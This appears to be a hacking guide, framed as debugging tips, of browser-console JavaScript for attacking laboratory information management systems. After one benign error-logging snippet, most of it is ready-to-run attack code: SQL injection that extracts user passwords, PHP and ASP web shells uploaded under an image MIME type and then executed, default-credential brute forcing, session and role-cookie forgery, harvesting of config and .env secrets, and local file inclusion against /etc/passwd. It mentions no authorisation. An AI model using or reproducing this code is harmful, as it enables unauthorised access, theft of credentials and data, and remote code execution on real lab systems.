LIMS Real-World Hacking & Debug Guide

Actual Dev Tools Techniques That Work

Getting Real Error Details


// Override console.error to catch hidden errors
const originalError = console.error;
console.error = function(...args) {
    originalError.apply(console, args);
    // Store errors locally instead of sending anywhere
    const errors = JSON.parse(localStorage.getItem('debug_errors') || '[]');
    errors.push({error: args.toString(), url: location.href, time: new Date()});
    localStorage.setItem('debug_errors', JSON.stringify(errors));
    console.log('Error logged to localStorage.debug_errors');
};

// Catch all unhandled errors
window.addEventListener('error', function(e) {
    console.log('Caught error:', e.error.stack);
});

// Catch promise rejections that show actual API errors
window.addEventListener('unhandledrejection', function(e) {
    console.log('Promise rejection:', e.reason);
});

Network Tab Reality Check

Most LIMS systems use these patterns - look for:

Bypass Client-Side Restrictions


// Remove disabled attributes from ALL elements
document.querySelectorAll('[disabled]').forEach(el => el.removeAttribute('disabled'));

// Remove readonly from inputs
document.querySelectorAll('[readonly]').forEach(el => el.removeAttribute('readonly'));

// Show hidden form fields (often contain debug/admin options)
document.querySelectorAll('input[type="hidden"]').forEach(el => {
    el.type = 'text';
    el.style.display = 'block';
    console.log('Hidden field:', el.name, '=', el.value);
});

// Enable right-click and text selection if disabled
document.oncontextmenu = null;
document.onselectstart = null;
document.ondragstart = null;

Getting Around Limited Access

Database Access Through Application


// LIMS systems often have search that hits the DB directly
// Try SQL injection in search boxes
const searchBox = document.querySelector('input[name*="search"], input[placeholder*="search"]');
if (searchBox) {
    // These often work because developers don't expect SQL in search
    searchBox.value = "' UNION SELECT username,password FROM users WHERE '1'='1";
    searchBox.form.submit();
}

// Look for autocomplete endpoints that might leak data
fetch('/api/users/autocomplete?q=a').then(r => r.json()).then(console.log);
fetch('/api/samples/search?q=*').then(r => r.json()).then(console.log);

Session Hijacking/Elevation


// Check if session tokens are predictable
const currentSession = document.cookie.match(/session[^;]*/)[0];
console.log('Current session:', currentSession);

// Try common admin session patterns
const adminSessions = [
    'admin', 'administrator', 'root', 'system',
    '00000000', '11111111', 'AAAAAAAA'
];

adminSessions.forEach(session => {
    document.cookie = `session_id=${session}; path=/`;
    // Test if elevated
    fetch('/admin').then(r => {
        if (r.status !== 403) {
            console.log(`Admin access with session: ${session}`);
        }
    });
});

File System Access Through Upload


// Most LIMS have file upload - exploit it
const form = new FormData();

// Try to upload files that give you shell access
const phpShell = new File(['<?php system($_GET["cmd"]); ?>'], 'test.php', {type: 'image/jpeg'});
const aspShell = new File(['<%eval request("cmd")%>'], 'test.asp', {type: 'image/jpeg'});

// Upload with image MIME type to bypass filters
form.append('file', phpShell);
fetch('/api/upload', {method: 'POST', body: form})
    .then(r => r.json())
    .then(data => {
        if (data.path) {
            console.log('Shell uploaded to:', data.path);
            // Try to access it
            fetch(data.path + '?cmd=id').then(r => r.text()).then(console.log);
        }
    });

Real Vulnerability Discovery

Finding Admin Panels


// Common LIMS admin paths that actually exist
const adminPaths = [
    '/admin',
    '/administrator', 
    '/sys-admin',
    '/management',
    '/config',
    '/settings',
    '/debug',
    '/test',
    '/dev',
    '/api/admin',
    '/admin.php',
    '/admin.html',
    '/phpmyadmin',
    '/mysql',
    '/database'
];

// Check each one
adminPaths.forEach(path => {
    fetch(path).then(r => {
        if (r.status === 200) {
            console.log(`Found admin panel: ${path}`);
            r.text().then(html => {
                if (html.includes('login') || html.includes('password')) {
                    console.log(`Login found at: ${path}`);
                }
            });
        }
    });
});

SQL Injection That Actually Works


// LIMS systems often vulnerable in these specific places:
// 1. Sample ID lookup
// 2. User search
// 3. Report filters
// 4. Date range queries

// Test each input field with time-based SQL injection
document.querySelectorAll('input').forEach(input => {
    if (input.name.includes('id') || input.name.includes('search') || input.name.includes('filter')) {
        // Time-based test - if page takes 5+ seconds, SQL injection works
        const timePayload = "'; WAITFOR DELAY '00:00:05' --";
        const start = Date.now();
        
        input.value = timePayload;
        input.form.submit();
        
        setTimeout(() => {
            const elapsed = Date.now() - start;
            if (elapsed > 4500) {
                console.log(`SQL injection confirmed in: ${input.name}`);
            }
        }, 6000);
    }
});

Default Credentials That Work


// Try these on any login form you find
const defaultCreds = [
    {user: 'admin', pass: 'admin'},
    {user: 'admin', pass: 'password'},
    {user: 'admin', pass: '123456'},
    {user: 'administrator', pass: 'administrator'},
    {user: 'root', pass: 'root'},
    {user: 'test', pass: 'test'},
    {user: 'demo', pass: 'demo'},
    {user: 'guest', pass: 'guest'},
    {user: 'lims', pass: 'lims'},
    {user: 'system', pass: 'system'}
];

// Auto-test login forms
const loginForm = document.querySelector('form[action*="login"], form[action*="auth"]');
if (loginForm) {
    const userField = loginForm.querySelector('input[name*="user"], input[name*="email"], input[type="email"]');
    const passField = loginForm.querySelector('input[type="password"]');
    
    if (userField && passField) {
        defaultCreds.forEach(cred => {
            setTimeout(() => {
                userField.value = cred.user;
                passField.value = cred.pass;
                console.log(`Trying: ${cred.user}/${cred.pass}`);
                // Uncomment to actually submit
                // loginForm.submit();
            }, 1000);
        });
    }
}

Information Extraction

Getting Database Schema


// Many LIMS expose schema through error messages
const schemaPokes = [
    "' AND (SELECT * FROM information_schema.tables) = 1 --",
    "' UNION SELECT table_name,column_name,1 FROM information_schema.columns --",
    "' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS INT) --"
];

// Try in search/filter fields
schemaPokes.forEach(poke => {
    const searchField = document.querySelector('input[type="search"]');
    if (searchField) {
        searchField.value = poke;
        // Look at network tab for error responses
    }
});

Extracting User Data


// LIMS often have user listing endpoints
const userEndpoints = [
    '/api/users',
    '/api/v1/users', 
    '/api/v2/users',
    '/users',
    '/people',
    '/staff',
    '/employees',
    '/api/people',
    '/directory'
];

userEndpoints.forEach(endpoint => {
    fetch(endpoint).then(r => r.json()).then(data => {
        if (data && data.length > 0) {
            console.log(`User data found at: ${endpoint}`);
            console.log('Sample user:', data[0]);
        }
    }).catch(() => {});
});

Config File Discovery


// LIMS config files often accessible
const configFiles = [
    '/config.json',
    '/app.config',
    '/web.config',
    '/application.properties',
    '/config/app.yml',
    '/config/database.yml',
    '/settings.json',
    '/env.json',
    '/.env',
    '/api/config',
    '/api/settings'
];

configFiles.forEach(file => {
    fetch(file).then(r => r.text()).then(text => {
        if (text.includes('password') || text.includes('secret') || text.includes('key')) {
            console.log(`Config file with secrets: ${file}`);
            console.log('Content:', text);
        }
    }).catch(() => {});
});

Real Bypass Techniques

CORS Exploitation


// Create a popup to bypass CORS restrictions
function bypassCORS(url) {
    const popup = window.open(url, '_blank', 'width=1,height=1');
    setTimeout(() => {
        try {
            const content = popup.document.body.innerHTML;
            console.log('Bypassed CORS:', content);
            popup.close();
        } catch (e) {
            console.log('CORS bypass failed');
        }
    }, 2000);
}

// Test on admin endpoints
bypassCORS('/admin');
bypassCORS('/config');

Local File Inclusion


// Test file inclusion in parameters
const lfiPayloads = [
    '../../../etc/passwd',
    '..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
    '/etc/passwd',
    'C:\\windows\\system32\\drivers\\etc\\hosts'
];

// Look for file parameters in URL
const urlParams = new URLSearchParams(window.location.search);
urlParams.forEach((value, key) => {
    if (key.includes('file') || key.includes('path') || key.includes('doc')) {
        lfiPayloads.forEach(payload => {
            const newUrl = new URL(window.location);
            newUrl.searchParams.set(key, payload);
            fetch(newUrl.href).then(r => r.text()).then(text => {
                if (text.includes('root:') || text.includes('localhost')) {
                    console.log(`LFI found in parameter: ${key}`);
                }
            });
        });
    }
});

Cookie-Based Auth Bypass


// Extract and analyze authentication cookies
document.cookie.split(';').forEach(cookie => {
    const [name, value] = cookie.trim().split('=');
    
    // Look for role/permission cookies
    if (name.includes('role') || name.includes('perm') || name.includes('access')) {
        console.log(`Permission cookie: ${name} = ${value}`);
        
        // Try to escalate
        document.cookie = `${name}=admin; path=/`;
        document.cookie = `${name}=administrator; path=/`;
        document.cookie = `${name}=1; path=/`; // Boolean true
    }
    
    // Look for user ID cookies
    if (name.includes('user') || name.includes('id')) {
        console.log(`User cookie: ${name} = ${value}`);
        
        // Try user ID 1 (often admin)
        document.cookie = `${name}=1; path=/`;
    }
});

Quick Wins

One-liner exploitation


// Run this in console for quick wins
(function(){
    // Enable all inputs
    document.querySelectorAll('[disabled]').forEach(e=>e.removeAttribute('disabled'));
    // Show hidden fields
    document.querySelectorAll('input[type="hidden"]').forEach(e=>{e.type='text';e.style.display='block'});
    // Try admin cookie
    document.cookie='role=admin;path=/';
    // Test for XSS
    document.body.innerHTML+='<img src=x onerror=alert("XSS")>';
    // Check for config endpoints
    fetch('/config').then(r=>r.text()).then(t=>t.includes('password')&&console.log('Config exposed'));
})();

Emergency shell access


// If you find file upload, try this immediately
const shell = new File(['<?php echo shell_exec($_GET["c"]); ?>'], 'shell.php', {type: 'image/jpeg'});
const form = new FormData();
form.append('file', shell);
fetch('/upload', {method: 'POST', body: form}).then(r=>r.json()).then(d=>console.log('Shell at:', d.path));